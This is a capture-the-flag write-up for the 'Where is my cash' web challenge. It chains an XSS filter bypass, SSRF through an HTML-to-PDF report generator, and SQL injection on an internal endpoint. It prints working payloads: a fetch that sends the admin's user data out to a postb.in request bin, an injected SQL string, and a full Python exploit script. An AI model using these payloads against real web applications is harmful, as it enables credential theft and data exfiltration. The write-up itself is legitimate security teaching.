# Where is my cash Writeup (medium, 2 solves)
The [Official writeup shared here](https://gist.github.com/l4yton/da9232b992454b429c93af0d05a1fe2f), the trick for getting the admin key was to force the browser to use the... cache. I've updated this writeup to include this part of the exploit because mine varies in how I do the XSS and exfill the actual flag.
## The Exploit Chain
This is how the exploit chain works, sadly I wasn't able to get the api_key during the CTF but have updated this writeup to include it after the official writeup was shared, and confirmed my other steps work.
1. XSS the Admin to steal its `api_key`2. Send malicicous PDF using SSRF from the JavaScript to `/1.0/admin/createReport`. This is necessary because   the caller of the next API must be from `127.0.0.1`.3. The JavaScript makes a request to `/internal/createTestWallet` which is SQLi vulnerable.4. The SQLi creates a wallet for our account and pulls the flag from another wallet.5. View the flag on the /wallets page when logged in.
## Cross-Site Scripting (XSS)
The application places the query param `api_key` in the DOM like so:
```js    <script>        const API_TOKEN = "{{{ token }}}";    </script>```
The backend applies some small filters to it, which we can work around.
```js    return req.query.api_key.replace(/;|\n|\r/g, "");```
The simplest approach is to have a payload like `api_key="</script><script>PAYLOAD HERE` and this works locally, but fails when triggering it against the remote server. By runningthe server locally I was able to confirm the Chromium's XSS Auditor is blocking this, so I needed another way.
Our payload looks like this instead `api_key="%2BEXPLOIT//`. We _intentionally_ include the URIencoded version of `+` there, and we'll need to URI encode the whole param once more before using it.This was another gotcha with making the admin visit. Because it gets decoded when we submit it to theserver, it then passes it in as a string with a `+` to visit, and the plus is treated as a space anddoesn't show up in the rendered output, thus we get a syntax error and it fails. When all is as expected,we get it to render like so.
```js    <script>        const API_TOKEN = ""+EXPLOIT_HERE//";    </script>```
This is somewhat restrictive because you can't do `=` in the exploit easily and cannot use `;`,but we can also work around this by wrapping each line of our exploit in a function, iterate over it,and call each function. This can be seen in the exploit script itself, but it ends up basically lookinglike this, and we can share state between calls using the global window.
```jsconst API_TOKEN = ""+[() => { window.x = 1 }, () => { console.log(x+1) }].forEach(f => f())//";```
A POC of the basic form of this can be seen locally with this URL, but note that we don't do the double encoding of `+`because we want it to trigger in our browser so we can iterate on it.
```https://wimc.ctf.allesctf.net/?api_key=%22%2Balert%28%22hi%22%29%2F%2F```
### Making the Admin Visit
We submit the support form on https://wimc.ctf.allesctf.net/support with the XSS'd URL. You can test this like so:
1. Create a [Postbin](https://postb.in) to log requests2. Modify this URL to include your Postbin IDs `https://wimc.ctf.allesctf.net/?api_key=%22%252Bwindow.location.replace%28%22https%3A%2F%2Fpostb.in%2F1599338333507-1126356946770%22%29%2F%2F`3. Submit the form on https://wimc.ctf.allesctf.net/support4. Refresh the Postbin to see the request.
### Getting the API Key
From the official writeup, the intended solution was to force the browser to load the admin user from the cache, which allows us to get their API key. In my exploit code this looks like so:
```javascriptwindow.requestbin = "https://postb.in/1599419937004-0317174713127?data="fetch("https://api.wimc.ctf.allesctf.net/1.0/user", {method:"GET", cache:"force-cache"}).then(a => a.json()).then(b => location.href=requestbin%2BJSON.stringify(b))```
Another user on IRC, Webuser4344, shared an alternate way they were able to get the flag. In my exploration I was somewhat close to this and attempting to use iframes to do something similar, but didn't get it all the way there. Here's how it worked:
1. The first XSS payload opens a new window2. In the second window, call `window.opener.history.back()` to navigate back to the page with api_key in the url3. Read the URL `window.opener.location.href` and exfil it.
## Server-Side Request Forgery (SSRF)
Once we have the `api_key`, we can authenticate as the admin and call the `/1.0/admin/createReport` endpoint whichallows us to upload arbitrary HTML which it will render as a PDF and then return to us. We can include a `<script>`in our HTML and use that to trigger the SSRF. The HTML we submit looks like so:
```html<script>var data = "balance=1, 'TESTING WALLET 1234'), ('1', (select user_id from general where username='tpurp' limit 1), 1, (select note from wallets w where owner_id='13371337-1337-1337-1337-133713371337' limit 1)); #"
var http = new XMLHttpRequest();http.open('POST', 'http://127.0.0.1:1337/internal/createTestWallet', true);http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');http.send(data);</script>```
## The SQLi
The implementation of the `/internal/createTestWallet` endpoint interpolates in the balance parameter directly into the query like so:
```jsvar balance = req.body["balance"] || 1337;var ip = req.connection.remoteAddress;
if (ip === "127.0.0.1") {    // create testing wallet without owner    var wallet_id = crypto.randomBytes(20).toString('hex').substring(0,20);    connection.query(`INSERT INTO wallets VALUES ('${wallet_id}', NULL, ${balance}, 'TESTING WALLET 1234');`, (err, data) => {```
The flag itself is stoed as the note for a wallet owner by a different user, so we can have the SQLi create a new wallet for our account, and set the note to the flag from the other wallet. The appliction never exposes our user_id to us, so we also use a subquery to select our account. This way we can see it on our wallets page after the injection runs.
The query itself looks like this, with newlines added for clarity. One issue that came up with MySQL is that it doesn't like you selecting from the same table (`wallets`) you are inserting into, but by aliasing it to `w` we make this error go away.```sqlINSERT INTO wallets VALUES   ('${wallet_id}', NULL, 1, 'TESTING WALLET 1234'),   (    '1',      (select user_id from general where username='tpurp' limit 1),      1,      (select note from wallets w where owner_id='13371337-1337-1337-1337-133713371337' limit 1)  );   #, 'TESTING WALLET 1234```
## The Flag
Once this runs, we simply need to log into the application, view the wallets page, click on wallet #1, and the flag will be on the page!
## Exploit Script
```python#!/usr/bin/env python3import sysimport requestsfrom urllib.parse import urlencode, quote_plus
"""USAGE:Exploit a local server, this works because I locally removed recaptcha and modified some ofthe static scripts to reference the local server.  python3 zexploit.py LOCAL
Generate the XSS'd url for the remote server. We can't auto-exploit it because of recaptcha.  python3 zexploit.py REMOTE"""
if len(sys.argv) > 1 and sys.argv[1] == "REMOTE":    REMOTE = Trueelse:    REMOTE = False
if REMOTE:    BASE_URL = "https://wimc.ctf.allesctf.net/"    ADMIN_BASE_URL = "https://api.wimc.ctf.allesctf.net/1.0"    API_BASE_URL = "https://api.wimc.ctf.allesctf.net/1.0"else:    #  BASE_URL = "http://localhost:10002"    BASE_URL = "http://app:1337"    ADMIN_BASE_URL = "http://localhost:10003/1.0"    API_BASE_URL = "http://localhost:10001/1.0"
# NOTE: This supports multiline payloads, but each line is within it's own scope,# so if you want to reuse variables they need to be defined globally. Also, you# can't use semicolons and if you want to use a +, you need to define it as `%2B`.xss_code = """window.requestbin = "https://postb.in/1599419937004-0317174713127?data="fetch("https://api.wimc.ctf.allesctf.net/1.0/user", {method:"GET", cache:"force-cache"}).then(a => a.json()).then(b => location.href=requestbin%2BJSON.stringify(b))"""# This payload can be used for local testing#   fetch("http://api:1337/1.0/user", {method:"GET", cache:"force-cache"}).then(a => a.json()).then(b => location.href=requestbin%2BJSON.stringify(b))
def build_xss_payload():    exploit_lines = xss_code.split("\n")[1:-1]    # We intentionally include the already encoded + to double encode it.    # Without this it gets removed before the server actually runs it and we get    # a JS syntax error there.    xss_exploit = "\"%2B["    for line in exploit_lines:        xss_exploit += "() => {" + line + "},"
    xss_exploit = xss_exploit[:-1] # trim trailing comma    xss_exploit += "].forEach(f => f())//"    return xss_exploit
def add_xss_url():    xss_payload = {'api_key': build_xss_payload()}    xss_query = urlencode(xss_payload, quote_via=quote_plus)    return f"{BASE_URL}?{xss_query}"
def add_xss_url_no_encode():    xss_exploit = build_xss_payload()    return f"{BASE_URL}?api_key={xss_exploit}"
# This only works locally since recaptcha is used remotely.def exploit():    url = add_xss_url_no_encode() # we use this one since requests auto-encodes    print(f"[+] XSS URL: {url}")    payload = {"description": "whatever", "url": url}    req_url = f"{ADMIN_BASE_URL}/support"    print(f"[+] POST to {req_url}")    res = requests.post(req_url, data=payload)    print(f"[+]   {res.status_code}: {res.text}")    return res
# We use XMLHttpRequest because fetch isn't available in the context the PDF generator runs.report_xss_html = """<script>var data = "balance=1, 'TESTING WALLET 1234'), ('1', (select user_id from general where username='tpurp' limit 1), 1, (select note from wallets w where owner_id='13371337-1337-1337-1337-133713371337' limit 1)); #"
var http = new XMLHttpRequest();http.open('POST', 'http://127.0.0.1:1337/internal/createTestWallet', true);http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');http.send(data);</script>"""def exploit_create_report(api_token):    req_url = f"{API_BASE_URL}/admin/createReport"    print(f"[+] POST to {req_url}")    payload = {'html': report_xss_html}    headers = {'X-API-TOKEN': api_token}    res = requests.post(req_url, data=payload, headers=headers)    print(f"[+]   {res.status_code}")    return res if REMOTE:    #  just print the URL since we can't automatically exploit due to recaptcha    print(add_xss_url())     # once we get api_key, update this and call    api_key = "ADMIN_API_KEY_HERE"    exploit_create_report(api_key)else:    exploit()```